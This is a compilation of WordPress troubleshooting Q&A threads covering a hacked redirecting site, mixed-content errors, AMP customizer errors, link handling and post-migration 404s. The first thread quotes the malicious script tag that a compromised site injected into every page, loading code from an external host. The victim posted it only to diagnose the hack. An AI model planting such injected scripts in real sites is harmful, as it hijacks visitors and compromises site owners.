Wordpress - instance always generates page that switches to external site - wordpress

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?

The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Related

Website is showing another website on non-existent website page

This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?
That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.
This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.

Mixed Content: The page at 'https://example.com' was loaded over HTTPS, but requested an insecure stylesheet error in Wordpress site

Instead of genuine Mixed Content issue this seemed like more of a Wordpress issue hence posting here to find a resolution.
I have everything setup to work with https, though there is no valid certificate yet. here is the home page url https://tourpoule.nl. The home page loads but with Mixed content errors which seem to be generated by core Wordpress or theme functions. Attaching image:
Database does not have any url which would start with http://. I already have replaced them using search and replace script.
There is nothing in htaccess file except basic Wordpress setup code. I tried renaming it as well. I cleared all types of cache but still it does not work. The site is using twentytwenty theme and if I comment out css and javascript enque lines, some of the errors disappear but styles and scripts do not load(that is normal I know).
In the view source of page it shows mixed urls, some with https and style and javascript urls without https. see below:
Interestingly if I click a stylesheet url i.e. http://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0 it redirects to https://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0
I am not sure what is going on and have got struck. I am not able to reach the client so that we can discuss turning ssl redirection off in nginx for this domain where it is redirecting everything to https if it is not https. Not sure if that is causing issue (I believe it is not as it has nothing to do with Wordpress mechanism to generate urls). Any help or direction is greatly appreciated.
I can see your website is still unsecured, for what it's worth, get yourself letsencrypt ssl.
Back to you question, go to your database, open the wp_options table, change the siteurl item to https://tourpoules.nl and also change the home item to https://tourpoules.nl.
If you have used search and replace DB master script or plugin it will not update inside meta files as well as and check for the function file have you Enqueue with https://
So will be better if you download SQL file and replace with below:
From:
http://new.tourpoules.nl
To
https://new.tourpoules.nl
and re-upload again

Wordpress AMP pages not setting up throwing error 'Non-existent changeset UUID.'

I have setup the AMP plugin in WordPress but while going to see the AMP pages (Appearence->AMP), I saw an error "Non-existent changeset UUID".
Also there is message in console says,
"Failed to execute 'postMessage' on 'DOMWindow': The target origin provided ('https://test.com') does not match the recipient window's origin ('https://test.ve.staging.wpengine.com')."
Please help me to resolved it out.
I've recently taken over administration of a website that has historically been ... poorly managed, and upon trying to use WordPress' built in theme customizer, I was greeted with the same message: "Non-existent changeset UUID.", although I didn't get any related messages in the console.
Apparently my issue was caused by the fact that one of the people who set up the site to begin with had decided to put the public site at www.example.com and the WordPress admin pages at example.com/__wp.
If this is your issue, you basically have two options.
Make sure to log in at both domains.
This may be a little difficult since WordPress' login page is part of the admin portion of the site and thus only logs you in to the admin portion of the site, however this proved to be a good temporary solution for me as there was a plugin installed which added a login widget on the public portion of the site.
Change the WordPress Address to be on the same domain as your Site Address.
The Option appears under Settings > General, but in my case I couldn't change the WordPress Address setting there and had to go into the WordPress database in our company's MySQL server.
After dealing with the above issues, I discovered that this issue had also caused a bunch of resources to be incorrectly loaded from example.com that should have been loading from www.example.com, as well as a number of leftovers from the site's development that were causing some resources not to load because the database thought they were at localhost.
With the help of another Stack Overflow answer I found a Database Search and Replace Script in PHP by interconnect/it (also available on GitHub) which allowed me to repair the mess previous people had made of the website without making a new mess with incorrectly serialized data, or all of the work of manually, correctly serializing the data I needed to change.

One wordpress website is always interpreting link to other wordpress site hosted on same VPS as an internal link

So I work on this Wordpress website with an event calendar at work.
Another organization had a problem getting support from their hosting, so we migrated them to our VPS as a temporary solution.
Since that has happened, they've been submitting events to our calendar, with links going to their website.
However, Wordpress upon seeing those links systematically interprets them as internal links, and looks for the document locations within our own domain name and website (and obviously doesn't find them, resulting in broken links).
I was wondering if this issue had to do with Wordpress identifying the IP address of the other site as being local because it's on the same VPS, and then interpreting local as being part of the same site?
If so, how do I have to set up the hosting on the VPS to prevent that from happening?
So the problem was in adding links in the WYSIWYG editor, and the fact that they were providing urls in their form entries without the http:// component, and that the link automatically has http:// selected (highlighted in blue), so that if you just paste the links, and they are missing the http:// component, it will look for the url within the current domain.
Not sure if there is a config for that to prevent that hiccup, but a single stroke to the right arrow before pasting has solved everything.

Wordpress - after upload on server 404 on all pages, no css

I have developed a wordpress based site using xampp 1.8.3. On my local machine all is wordìking fine. On the server I am using php 5.4.12.
On the server I copied the site on a subfolder name site, wich is the same subfolder name I had in xampp/htdocs. Then i changed all occurances of localhost to mydomain.com with the searchreplacedb2.php script (http://interconnectit.com/products/search-and-replace-for-wordpress-databases). I am confident that the tool is working properly and the issue does not depend on it as I have used it several other times with succcess.
Therefore since on my local machine the site was in localhost/site, on the hosting server is on mydomain.com/site.
The proble is that accessing the site home page produces a wordpress managed 404 page with no css being loaded. The title, menu and other site specific text is displayed, therefore the db is being read correctly. Trying to access any page other than the home page gets a webhost managed 404 page. This happens also if I try to access page through non symbolic urls, ei. mydomain.com/site/?page_id=5; therefore it is should not be a redirection issues.
what can be the issue? How can I proceed in troubleshooting it?
Thanks, in advance for your time.
You need to double check everything, first:
Flush the rewrite rules by visiting settings->permalinks then try your pages. Then try:
List item login to phpmyadmin for each domain, check out the database... options table... verify the "siteurl", and "home" columns. make sure they match the respective domains. Then try:
List itemCheck the DNS zone template. Could very well be possible DNS conflicts.

Resources